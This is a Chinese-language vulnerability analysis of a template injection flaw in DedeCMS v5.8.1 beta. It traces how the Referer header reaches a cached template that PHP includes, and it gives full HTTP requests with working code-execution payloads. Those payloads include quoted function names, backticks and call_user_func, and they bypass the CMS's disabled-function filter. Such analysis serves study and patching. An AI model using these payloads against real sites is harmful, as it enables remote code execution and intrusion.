DedeCMS_V5.8.1模板注入漏洞分析

admin 2021年12月31日03:56:52DedeCMS_V5.8.1模板注入漏洞分析已关闭评论536 views字数 2550阅读8分30秒阅读模式

之前看到 DedeCMS 又爆出新的漏洞,虽然仅存在于 DedeCMS v5.8.1 beta 1 内测版,但还是想着做一个详尽的分析。

环境搭建

官网下载地址 下载 DedeCMS v5.8.1 beta 1 内测版 利用 phpstudy 搭建环境

DedeCMS_V5.8.1模板注入漏洞分析

漏洞复现

GET /plus/flink.php?dopost=save HTTP/1.1
Host: blueblue
Referer: <?php "system"(dir);die;/*
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ffuc9o7o42rkh9hs4f8k4o888f
Connection: close

DedeCMS_V5.8.1模板注入漏洞分析

漏洞分析

对于漏洞的分析,我想应该要分为两个部分了,第一部分就是为什么在这个地方可以触发漏洞,第二部分就是为什么要如此的构造。

漏洞触发位置

如何配置 php 调试环境就不做详细的介绍啦,总之我们通过调试来对代码进行详尽的分析~

在 plus/flink.php 中 ($dopost == 'save') 添加断点

plus/flink.php

DedeCMS_V5.8.1模板注入漏洞分析

我们看到代码逻辑相对比较简单 GetCkVdValue() 会检查 session ,会通过 ShowMsg() 来返回错误信息到前端

include/common.func.php#ShowMsg

DedeCMS_V5.8.1模板注入漏洞分析

$gourl == -1$gourl 的值等于 $_SERVER['HTTP_REFERER'] 也就是 从Referer 头中读取到的数据

DedeCMS_V5.8.1模板注入漏洞分析

继续单步调试,在函数 ShowMsg 中 会将 $gourl 的 值不断拼接,最后传递给 DedeTemplateLoadString方法

include/dedetemplate.class.php#LoadString

DedeCMS_V5.8.1模板注入漏洞分析

设置了缓存文件名以及缓存配置文件名,缓存文件位于网站根目录下的 /data/tplcache

然后再回到函数include/common.func.php#ShowMsg 中,接下来会执行DedeTemplateDisplay 方法

DedeCMS_V5.8.1模板注入漏洞分析

include/dedetemplate.class.php#Display

DedeCMS_V5.8.1模板注入漏洞分析

先利用 WriteCache() 根据缓存文件名生成缓存文件,然后再利用 include 去包含,实现命令执行。

include/dedetemplate.class.php#WriteCache

DedeCMS_V5.8.1模板注入漏洞分析

DedeCMS_V5.8.1模板注入漏洞分析

整个漏洞的触发原理就是如此,利用ShowMsg回显错误信息时会将 $_SERVER['HTTP_REFERER'] 保存到模板信息内部,同时DedeTemplate 对模板进行了解析操作

正则匹配 ShowMsg(.*?"-1" 就可以找到很多,漏洞原理相同,但是触发位置不同的漏洞

DedeCMS_V5.8.1模板注入漏洞分析

找一个进行验证一下

GET /plus/download.php?aid=1 HTTP/1.1
Host: blueblue
Referer: <?php "system"(dir);die;/*
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ffuc9o7o42rkh9hs4f8k4o888f;XDEBUG_SESSION=PHPSTORM
Connection: close

DedeCMS_V5.8.1模板注入漏洞分析

构造漏洞触发

很简单就搞清楚了漏洞的原理,但是在触发漏洞的时候却存在一些问题

Referer: <?php phpinfo();/*

DedeCMS_V5.8.1模板注入漏洞分析

简单的构造却无法利用成功,这是因为在函数 include/dedetemplate.class.php#WriteCache 生成缓存文件时,会调用 CheckDisabledFunctions

include/dedetemplate.class.php#CheckDisabledFunctions

DedeCMS_V5.8.1模板注入漏洞分析

发现对相关函数进行了过滤,就产生了思考,如何绕过这些过滤呢

  • 没有对 "" 进行检测,"" 中的字符串可以被解析为函数
    Referer: <?php "system"(dir);die;/*

    DedeCMS_V5.8.1模板注入漏洞分析

  • 没有过滤反引号,反引号中的字符可以被命令执行

Referer: <?php echo `dir` ;die;/*

DedeCMS_V5.8.1模板注入漏洞分析
* 对 get 和 post 字符串没有进行过滤,可以利用 assert 或者call_user_func 等函数执行任意代码

GET /plus/flink.php?dopost=save&a=system&b=dir HTTP/1.1
Referer: <?php call_user_func($a,$b); /*

DedeCMS_V5.8.1模板注入漏洞分析

相关推荐: 内网渗透之域内密码抓取方法总结

一、mimikatz简介 mimikatz是法国人Gentil Kiwi编写的一款windows平台下的神器,它具备很多功能,其中最亮的功能是直接从lsass.exe进程里获取windows处于active状态账号的明文密码或hash散列值。 mimikatz…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日03:56:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DedeCMS_V5.8.1模板注入漏洞分析https://cn-sec.com/archives/692011.html